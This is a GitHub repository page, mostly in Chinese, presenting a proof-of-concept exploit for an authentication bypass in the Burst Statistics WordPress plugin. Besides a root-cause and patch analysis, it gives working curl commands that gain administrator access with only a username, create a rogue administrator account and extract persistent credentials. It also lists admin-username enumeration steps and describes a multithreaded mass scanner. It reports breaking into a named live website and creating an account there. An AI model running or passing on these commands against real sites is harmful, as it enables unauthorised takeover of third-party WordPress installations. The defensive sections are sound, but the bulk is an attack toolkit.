zycoder0day/CVE-2026-8181

GitHub: zycoder0day/CVE-2026-8181

针对 WordPress 插件 Burst Statistics 3.4.0-3.4.1.1 未授权身份验证绕过漏洞(CVE-2026-8181,CVSS 9.8)的概念验证工具,支持管理员账户接管与多线程批量扫描。

Stars: 4 | Forks: 7

# CVE-2026-8181 — Burst Statistics 身份验证绕过导致管理员账户接管

## 📋 漏洞信息 | 项目 | 详情 | |------|--------| | **CVE ID** | CVE-2026-8181 | | **插件** | Burst Statistics – Privacy-Friendly WordPress Analytics | | **受影响版本** | 3.4.0 – 3.4.1.1 | | **已修复版本** | 3.4.2 | | **CVSS 评分** | 9.8 (严重) | | **类型** | CWE-287: 身份验证不当 | | **攻击向量** | 网络 / 远程 / 无需身份验证 | | **活跃安装量** | ~200,000+ | | **发现者** | PRISM, Wordfence Threat Intelligence | | **发布日期** | 2026年5月8日 | ## 🎯 摘要 WordPress 插件 Burst Statistics 3.4.0 至 3.4.1.1 版本中存在一个严重的 **身份验证绕过** 漏洞,允许 **未经身份验证的** 攻击者仅通过知道管理员用户名即可获得 WordPress 的 **完整管理员访问权限**。其后果是完全接管管理员账户,包括创建新账户、修改内容,甚至安装恶意插件。 ## 🔬 技术分析 ### 根本原因 漏洞位于 `includes/Frontend/class-mainwp-proxy.php` 文件中的 `is_mainwp_authenticated()` 方法中: ``` // KODE VULNERABLE (v3.4.1.1) public function is_mainwp_authenticated(): bool { $auth_header = sanitize_text_field( wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '') ); if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) { $credentials = base64_decode(substr($auth_header, 6), true); // ... parse username:password ... $is_valid = wp_authenticate_application_password(null, $username, $password); if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error! return false; } $user = get_user_by('login', $username); // ← Auth hanya berdasarkan username! if (!$user || !user_can($user, 'manage_burst_statistics')) { return false; } wp_set_current_user($user->ID); // ← Grant admin privileges return true; } return false; } ``` **主要 Bug:** 当 Application Passwords 不可用时,`wp_authenticate_application_password(null, $username, $password)` 会返回 `null`(而不是 `WP_Error`),这发生在以下情况: - **HTTP**(非 HTTPS)站点,此时 `wp_is_application_passwords_available()` 返回 `false` - `is_ssl()` 返回 `false` 的站点 由于 `is_wp_error(null)` = `false`,代码会继续执行 `get_user_by('login', $username)`,从而 **仅根据用户名** 进行身份验证,完全没有进行密码验证。 ### 早期执行 `has_admin_access()` 方法在 `class-burst.php` 文件第 118 行的 `plugins_loaded` 钩子(优先级为 9)中被调用: ``` if ($this->has_admin_access()) { $this->admin = new Admin(); $this->admin->init(); } ``` 此钩子在 REST API 路由处理 **之前** 运行,因此 `wp_set_current_user()` 会为 **所有请求** 授予管理员权限 —— 而不仅仅是 Burst 的端点。 ### 攻击流程 ``` Attacker ──HTTP Request──▶ WordPress Headers: X-BURSTMAINWP: 1 Authorization: Basic base64(admin:anything) │ ▼ [plugins_loaded hook fires] │ Burst::bootstrap() → has_admin_access() │ HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated() │ wp_authenticate_application_password(null, 'admin', 'anything') │ Situs HTTP → wp_is_application_passwords_available() = false │ Return null (BUKAN WP_Error) │ is_wp_error(null) = false ← BYPASS! │ get_user_by('login', 'admin') → found │ wp_set_current_user(admin_id) → FULL ADMIN │ has_admin_access() = true │ [REST API memproses request dengan konteks admin] │ Attacker mengakses SELURUH endpoint WordPress sebagai administrator ``` ## 💻 概念验证 ### 前置条件 - 目标运行在 **HTTP**(非 HTTPS,或者 SSL 未被正确检测)上 - 已安装并激活 **3.4.0 – 3.4.1.1** 版本的 Burst Statistics 插件 - 知道管理员用户名(可通过枚举获取) ### 安装 ``` pip3 install requests ``` ### 使用方法 — 单一目标 ``` # 基础 Scan python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k # 创建新 admin 账户 python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k # 使用自定义 username python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k ``` ### 使用方法 — 多目标(批量扫描器) ``` python3 poc_CVE-2026-8181.py ``` 交互模式: 1. 输入目标列表文件(`.txt`,每行一个域名) 2. 设置线程数(默认:50) 3. 设置新账户的凭据 4. 运行扫描 `targets.txt` 格式: ``` target1.com target2.com 192.168.1.100 subdomain.example.org ``` ### 最小化 PoC (curl) ``` # Step 1: 验证 auth bypass curl -s \ -H "X-BURSTMAINWP: 1" \ -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \ "http://target.com/?rest_route=/wp/v2/users/me&context=edit" # Step 2: 创建新 administrator 账户 curl -s \ -H "X-BURSTMAINWP: 1" \ -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \ -H "Content-Type: application/json" \ -X POST \ "http://target.com/?rest_route=/wp/v2/users" \ -d '{"username":"hacker","password":"P@ssw0rd!","email":"h@ck.er","roles":["administrator"]}' # Step 3: 获取 Application Password (持久 credentials) curl -s \ -H "X-BURSTMAINWP: 1" \ -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \ -H "Content-Type: application/json" \ -X POST \ "http://target.com/?rest_route=/burst/v1/mainwp-auth" \ -d '{}' ``` ### 枚举管理员用户名 ``` # Method 1: REST API curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug' # Method 2: Fallback route curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug' # Method 3: Author 枚举 for i in $(seq 1 5); do curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i" done ``` ## ✅ 结果验证 测试在运行 WordPress 6.9 并安装 Burst Statistics 3.4.1.1 (localhost) 的环境中进行: | 测试 | 结果 | 证据 | |-----------|-------|-------| | 在无身份验证的情况下访问 `/wp/v2/users/me` | 失败 | `rest_not_logged_in` | | 使用绕过标头访问 | **成功** | 管理员配置文件 + 电子邮件 + 角色 | | 创建新的管理员账户 | **成功** | 用户 ID 2,角色:administrator | | 读取 WordPress 设置 | **成功** | 站点标题、管理员电子邮件、URL | | 获取 Application Password | **成功** | Base64 token `admin:password` | | 列出已安装的插件 | **成功** | 包含版本号的完整列表 | ### 实时目标验证 | 目标 | 结果 | |--------|-------| | `ausdermitte-binz.de` | **成功攻破** — Burst 3.4.1.1,通过 `binzwpadmin` 绕过,创建了 `xenon1337` 账户 (ID:30) | ## 🔧 补丁分析 (v3.4.2) 3.4.2 版本中的修复解决了几个问题: 1. **正确的返回类型检查:** ``` // PATCHED $authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]); if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error return false; } ``` 2. **强制启用 Application Passwords:** ``` $allow = static function(): bool { return true; }; add_filter('application_password_is_api_request', $allow, 999); // ... authenticate ... remove_filter('application_password_is_api_request', $allow, 999); ``` 3. **CSRF nonce 要求** 针对 cookie 身份验证请求 4. **Nonce 重放保护** 通过 `add_option()` 实施一次性强制使用 5. **移除了旧版签名格式** 该格式未绑定用户名 ## 🛡️ 修复建议 ### 立即步骤 1. **更新 Burst Statistics** 至 3.4.2 或更高版本 2. **审计用户账户** — 检查未知的管理员账户 3. **撤销所有 Application Passwords** (`wp_application_passwords` user meta) 4. **检查 WordPress 管理员电子邮件** 和其他设置 5. **检查未知的插件/主题** ### 检测入侵指标 - 在访问日志中搜索包含来自外部 IP 的 `X-BURSTMAINWP: 1` 标头的请求 - 监控 `wp_users` 表中是否有新的管理员账户 - 检查 `wp_options` 中的 `burst_mainwp_app_token_*` 瞬态 - 检查用户配置文件中的 Application Passwords ## 📁 可用文件 | 文件 | 描述 | |------|-----------| | `exploit_CVE-2026-8181.py` | 单一目标 PoC 漏洞利用 | | `poc_CVE-2026-8181.py` | 具有多线程功能的多目标批量扫描器 | | `README.md` | 本文档 | ## ⚠️ 免责声明 此工具和文档仅用于在获得明确授权的情况下的 **合法安全测试**。在未经授权的情况下,对不属于您的系统进行测试或没有书面许可的使用是 **非法的**。作者对滥用行为不承担任何责任。 ## 📚 参考资料 - [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover) - [易受攻击的源代码](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php) - [WordPress 插件库](https://wordpress.org/plugins/burst-statistics/) - [WP-Safety 分析](https://wp-safety.org/plugins/burst-statistics)

标签:Admin Account Takeover, Base64绕过, Burst Statistics, CISA项目, CVE-2026-8181, CVSS 9.8, CWE-287, IP 地址批量处理, MainWP Proxy, Web安全, WordPress, WordPress插件漏洞, 协议分析, 安全漏洞, 文件完整性监控, 未授权访问, 权限提升, 漏洞PoC, 管理员账户接管, 编程工具, 蓝队分析, 认证绕过, 身份验证绕过, 远程代码执行, 逆向工具